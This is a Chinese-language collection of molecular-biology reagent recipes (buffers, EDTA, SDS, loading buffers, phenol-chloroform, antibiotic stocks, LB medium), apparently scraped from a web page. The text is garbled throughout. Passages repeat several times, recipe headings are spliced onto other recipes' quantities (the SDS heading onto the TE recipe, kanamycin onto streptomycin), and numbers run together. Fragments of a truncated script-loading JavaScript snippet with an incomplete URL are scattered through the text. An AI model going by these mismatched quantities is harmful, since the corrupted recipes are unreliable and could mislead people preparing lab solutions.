分子病理實(shí)驗(yàn)所需部分溶液配置方法

1、調(diào)節(jié)PH值時(shí)，加入酸堿放熱，對(duì)PH是否準(zhǔn)確有很大影響一、PB結(jié)合液：3M GuSCN 異硫氰酸胍MW:118.16354.48gGuSCN溶解混勻，調(diào)PH=6.5（25）。定容至1000mL。10mM Tris-HCI10mL 1M Tris-HCI5% Ethnol50mL無(wú)水乙醇PH=6.5(25)800mLddH2O二、清洗液PWS：20mM NaCI2mM Tris-HCI80% EthnolPH=6.5(25)三、洗脫液：10mM Tris-HCIPH=8.5(25)PBS 1L體系為氯化鈉 8g,氯化鉀0.2g,十二水和磷酸氫二鈉3.63g,磷酸二氫鉀0.24g，PH7.41M T

2、ris-HCI 1L體系為121.1g Tris base（分子量：121.1），加水800mL溶解，加HCI調(diào)節(jié)PH=8.5使用前用0.45um濾膜過(guò)濾一下10mM Tris-HCI1.211g Tris base（分子量：121.1），加水800mL溶解，加HCI調(diào)節(jié)PH=8.5使用前用0.45um濾膜過(guò)濾一下常用試劑配方1、1MpH8.5或pH8.0Tris-HCl1L：800mlH2O中加121.1gTris，用HCl調(diào)pH8.5定容至1升或用HCl調(diào)pH8.0定容至1升，滅菌。2、0.5MpH8.0EDTA1L：800mlH2O中加186.1gEDTANa22H2O，用NaOH調(diào)pH

3、8.0后定容至1升（在加有EDTA二鈉鹽的懸濁液中加入適量氫氧化鈉，同時(shí)攪拌，直至溶液澄清，此時(shí)溶液pH約為8）。3、20%SDS2L：在2L熱水中緩慢加入400gSDS，邊加邊攪拌，溶解后放置熱地方保存。4、5MNaCl1L：750mlH2O中加292.2gNaCl，溶解后定容至1升，滅菌。5、緩沖液“S”100mMTrisClpH8.5100mMNaCl50mMEDTApH8.02%SDS6、10 xTE1L：800mlH2O中加12.11gTris，3.72gEDTANa22H2O，用HCl調(diào)pH8.0，定容，滅菌。7、50 xTAE1L：500mlH2O中加242gTris，溶解后加1

4、00ml0.5MpH8.0EDTA和57.1ml冰乙酸，定容。8、蛋白酶K溶液用20mMpH8.0TrisCl，2mMCaCl2的緩沖液配制濃度為10g/l的蛋白酶K溶液或用超純水配制成相同的濃度。9、RNAase用水溶解RNAase，終濃度為10mg/ml，煮沸20min，緩慢冷卻，分裝，-20下保存。10、3MpH5.2NaAc1L：600mlH2O中加408.24gNaAc3H2O,溶解后,用冰乙酸調(diào)pH5.2，定容滅菌。11、5MKAc1L：600mlH2O中加490.8gKAc3H2O,溶解后,定容滅菌。12、Loadind-Buffer（瓊脂糖電泳）200ml：100mlH2O中加

5、80g蔗糖和0.5g溴酚藍(lán)，定容，分裝后4保存。13、Bind-Silence配制500ml無(wú)水乙醇加2mlBind-Silence原液。14、Repel配制500ml三氯甲烷加10ml硅烷化試劑。15、PCR引物配制引物粉劑5000rpm/min離心1min，1OD值加50l超純水，2OD值加100l超純水；混勻離心配成原液，-20保存，使用時(shí)原液稀釋10倍（RAPD原液10l，超純水90l；STS或SSR上下引物原液各10l，超純水180l）。16、EB配制100mgEB加超純水10ml溶解。17、APS配制APS（過(guò)硫酸銨）10g加水定容至100ml。18、氯仿異戊醇（241）、氯仿異戊

6、醇酚（24125）配制480ml氯仿中加異戊醇20ml配成氯仿異戊醇；氯仿異戊醇與Tris飽和重蒸酚等體積混合配成酚氯仿。19、2SDS電泳上樣緩沖液：1MTris-HCl(pH6.8)2.5ml，-巰基乙醇1.0ml，SDS0.6g，甘油2.0ml，0.1% var script = document.createElement(script); script.src = http:/ document.body.appendChild(script); 一般瓊脂糖凝膠loading buffer 配成10倍貯存液,如下：20%（w/v) Ficoll 4000.1mol/L Na2EDTA

7、,PH8.01.0%(w/v)SDS0.25%(w/v)溴酚蘭0.25%(w/v)二甲苯青注意溶液為電泳緩沖液,用時(shí)加入上樣體積的十分之一就行了溴酚藍(lán)1.0ml，ddH2O3.5ml。20、氨芐配方（母液濃度：100mg/ml）溶解1g氨芐青霉素鈉鹽于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：50ug/ml即50mg/l。配制時(shí)：氨芐母液：培養(yǎng)基=1：2000，即1ul：2ml。21、pUC19DNA/MSPI(HpeII)Ma

8、rker配方：pUC19DNA：Dyesolution：H2O=1：6：20。22、卡那霉素（kanamycin母液濃度：100mg/ml）溶解1g卡那霉素于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：25ug/ml，25mg/l。配制時(shí)：卡那母液：培養(yǎng)基=1：4000，即1ul：4ml。23、LB培養(yǎng)基胰蛋白胨(Tryptone)10g/L酵母提取物(Yeastextract)5g/L氯化鈉(NaCl)10g/L瓊脂粉7.5g/

9、500ml調(diào)制pH=7.024、SDS提取DNA時(shí)所用的酚氯仿（1：1）配置用Tris飽和酚加等體積氯仿，劇烈振蕩混勻，然后靜置過(guò)夜。上面會(huì)有水層封閉，原來(lái)水相中Tris就跑到氯仿中。注意：用的時(shí)候要的是下層，吸取時(shí)要小心，吸到上層肯定會(huì)影響實(shí)驗(yàn)效果。還有注重不要濺到皮膚上，傷害相當(dāng)厲害！需要馬上用大量水清洗。25、生素的配置方法2007-08-1521:36氨芐青霉素（ampicillin）（100mg/ml）溶解1g氨芐青霉素鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以25ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。羧芐青霉素（carbenicillin）（50

10、mg/ml）溶解0.5g羧芐青霉素二鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以25ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。甲氧西林（methicillin）（100mg/ml）溶解1g甲氧西林鈉于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以37.5ug/ml終濃度與100ug/ml氨芐青霉素一起添加于生長(zhǎng)培養(yǎng)基?？敲顾兀╧anamycin）（10mg/ml）溶解100mg卡那霉素于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。氯霉素（chloramphenicol）（25mg

11、/ml）溶解250mg氯霉素足量的無(wú)水乙醇中，最后定容至10ml。分裝成小份于-20貯存。常以12.5ug/ml25ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。 var script = document.createElement(script); script.src = http:/ document.body.appendChild(script);鏈霉素（streptomycin）（50mg/ml）溶解0.5g鏈霉素硫酸鹽于足量的無(wú)水乙醇中，最后定容至10ml。分裝成小份于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。萘啶酮酸（nalidixicacid）（5mg/m

12、l）溶解50mg萘啶酮酸鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以15ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。四環(huán)素（tetracyyline）（10mg/ml）溶解100mg四環(huán)素鹽酸鹽于足量的水中，或者將無(wú)堿的四環(huán)素溶于無(wú)水乙醇，定容至10ml。分裝成小份用鋁箔包裹裝液管以免溶液見(jiàn)光，于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。1L：800mlH2O中加121.1gTris，用HCl調(diào)pH8.5定容至1升或用HCl調(diào)pH8.0定容至1升，滅菌。2、0.5MpH8.0EDTA1L：800mlH2O中加186.1gEDTANa22H2O，用NaO

13、H調(diào)pH8.0后定容至1升（在加有EDTA二鈉鹽的懸濁液中加入適量氫氧化鈉，同時(shí)攪拌，直至溶液澄清，此時(shí)溶液pH約為8）。3、20%SDS1L：800mlH2O中加12.11gTris，3.72gEDTANa22H2O，用HCl調(diào)pH8.0，定容，滅菌。7、50 xTAE1L：500mlH2O中加242gTris，溶解后加100ml0.5MpH8.0EDTA和57.1ml冰乙酸，定容。8、蛋白酶K溶液用20mMpH8.0TrisCl，2mMCaCl2的緩沖液配制濃度為10g/l的蛋白酶K溶液或用超純水配制成相用水溶解RNAase，終濃度為10mg/ml，煮沸20min，緩慢冷卻，分裝，-20下

14、保存。10、3MpH5.2NaAc1L：600mlH2O中加408.24gNaAc3H2O,溶解后,用冰乙酸調(diào)pH5.2，定容滅菌。11、5MKAc1L：600mlH2O中加490.8gKAc3H2O,溶解后,定容滅菌。12、Loadind-Buffer（瓊脂糖電泳）200ml：100mlH2O中加80g蔗糖和0.5g溴酚藍(lán)，定容，分裝后4保存。13、Bind-Silence配制引物粉劑5000rpm/min離心1min，1OD值加50l超純水，2OD值加100l超純水；混勻離心配成原液，-20保存，使用時(shí)原液稀釋10倍（RAPD原液10l，超純水90l；STS或SSR上下引物原液各10l，超

15、純水180l）。16、EB配制APS（過(guò)硫酸銨）10g加水定容至100ml。18、氯仿異戊醇（241）、氯仿異戊醇酚（24125）配制480ml氯仿中加異戊醇20ml配成氯仿異戊醇；氯仿異戊醇與Tris飽和重蒸酚等體積混合配成酚氯仿。19、2SDS電泳上樣緩沖液：1MTris-HCl(pH6.8)2.5ml，-巰基乙醇1.0ml，SDS0.6g，甘油2.0ml，0.1% var script = document.createElement(script); script.src = http:/ document.body.appendChild(script); 溶解1g氨芐青霉素鈉鹽于足

16、量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：50ug/ml即50mg/l。配制時(shí)：氨芐母液：培養(yǎng)基=1：2000，即1ul：2ml。21、pUC19DNA/MSPI(HpeII)Marker配方：pUC19DNA：Dyesolution：H2O=1：6：20。22、卡那霉素（kanamycin母液濃度：100mg/ml）溶解1g卡那霉素于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存

17、于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：25ug/ml，25mg/l。配制時(shí)：卡那母液：培養(yǎng)基=1：4000，即1ul：4ml。酵母提取物(Yeastextract)5g/L氯化鈉(NaCl)10g/L瓊脂粉7.5g/500ml調(diào)制pH=7.0用Tris飽和酚加等體積氯仿，劇烈振蕩混勻，然后靜置過(guò)夜。上面會(huì)有水層封閉，原來(lái)水相中Tris就跑到氯仿中。注意：用的時(shí)候要的是下層，吸取時(shí)要小心，吸到上層肯定會(huì)影響實(shí)驗(yàn)效果。還有注重不要濺到皮膚上，傷害相當(dāng)厲害！需要馬上用大量水清洗。溶解1g氨芐青霉素鈉鹽于足量的水中，最后定容至

18、10ml。分裝成小份于-20貯存。常以25ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。羧芐青霉素（carbenicillin）（50mg/ml）溶解0.5g羧芐青霉素二鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以25ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。甲氧西林（methicillin）（100mg/ml）溶解1g甲氧西林鈉于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以37.5ug/ml終濃度與100ug/ml氨芐青霉素一起添加于生長(zhǎng)培養(yǎng)基?？敲顾兀╧anamycin）（10mg/ml）溶解100mg卡那霉素于足量的水中，最后定容至10

19、ml。分裝成小份于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。氯霉素（chloramphenicol）（25mg/ml）溶解250mg氯霉素足量的無(wú)水乙醇中，最后定容至10ml。分裝成小份于-20貯存。常以12.5ug/ml25ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。 var script = document.createElement(script); script.src = http:/ document.body.appendChild(script);溶解0.5g鏈霉素硫酸鹽于足量的無(wú)水乙醇中，最后定容至10ml。分裝成小份于-20貯存。常以10ug/ml50

20、ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。萘啶酮酸（nalidixicacid）（5mg/ml）溶解50mg萘啶酮酸鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以15ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。四環(huán)素（tetracyyline）（10mg/ml）溶解100mg四環(huán)素鹽酸鹽于足量的水中，或者將無(wú)堿的四環(huán)素溶于無(wú)水乙醇，定容至10ml。分裝成小份用鋁箔包裹裝液管以免溶液見(jiàn)光，于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。1L：800mlH2O中加186.1gEDTANa22H2O，用NaOH調(diào)pH8.0后定容至1升（在加有EDTA二鈉鹽的懸濁液中加入

21、適量氫氧化鈉，同時(shí)攪拌，直至溶液澄清，此時(shí)溶液pH約為8）。3、20%SDS480ml氯仿中加異戊醇20ml配成氯仿異戊醇；氯仿異戊醇與Tris飽和重蒸酚等體積混合配成酚氯仿。19、2SDS電泳上樣緩沖液：1MTris-HCl(pH6.8)2.5ml，-巰基乙醇1.0ml，SDS0.6g，甘油2.0ml，0.1%溶解1g氨芐青霉素鈉鹽于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：50ug/ml即50mg/l。配制時(shí)：氨芐母液：培養(yǎng)

22、基=1：2000，即1ul：2ml。21、pUC19DNA/MSPI(HpeII)Marker配方：pUC19DNA：Dyesolution：H2O=1：6：20。22、卡那霉素（kanamycin母液濃度：100mg/ml）溶解1g卡那霉素于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：25ug/ml，25mg/l。配制時(shí)：卡那母液：培養(yǎng)基=1：4000，即1ul：4ml。用Tris飽和酚加等體積氯仿，劇烈振蕩混勻，然后靜置過(guò)夜。

23、上面會(huì)有水層封閉，原來(lái)水相中Tris就跑到氯仿中。注意：用的時(shí)候要的是下層，吸取時(shí)要小心，吸到上層肯定會(huì)影響實(shí)驗(yàn)效果。還有注重不要濺到皮膚上，傷害相當(dāng)厲害！需要馬上用大量水清洗。溶解0.5g羧芐青霉素二鈉鹽于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以25ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。甲氧西林（methicillin）（100mg/ml）溶解1g甲氧西林鈉于足量的水中，最后定容至10ml。分裝成小份于-20貯存。常以37.5ug/ml終濃度與100ug/ml氨芐青霉素一起添加于生長(zhǎng)培養(yǎng)基。卡那霉素（kanamycin）（10mg/ml）溶解0.5g鏈霉素硫酸

24、鹽于足量的無(wú)水乙醇中，最后定容至10ml。分裝成小份于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。萘啶酮酸（nalidixicacid）（5mg/ml）溶解100mg四環(huán)素鹽酸鹽于足量的水中，或者將無(wú)堿的四環(huán)素溶于無(wú)水乙醇，定容至10ml。分裝成小份用鋁箔包裹裝液管以免溶液見(jiàn)光，于-20貯存。常以10ug/ml50ug/ml的終濃度添加于生長(zhǎng)培養(yǎng)基。溶解1g氨芐青霉素鈉鹽于足量的蒸餾水中，最后定容至10ml。抽慮滅菌后分裝成小份（0.5ml管中，200ul/管），貯存于-20。常以25ug/ml50ug/ml（即2550mg/l）的終濃度添加于生長(zhǎng)培養(yǎng)基,本實(shí)驗(yàn)室所用工作濃度為：50ug/ml即50mg/l。配制時(shí)：氨芐母液：培養(yǎng)基=1：2000，即1ul：2ml。21、pUC19DNA/MSPI(HpeII)Marker配方：pUC19DNA：Dyesolution：H2O=1：6：20。22、卡那霉素（kanamycin母液濃度：100mg/ml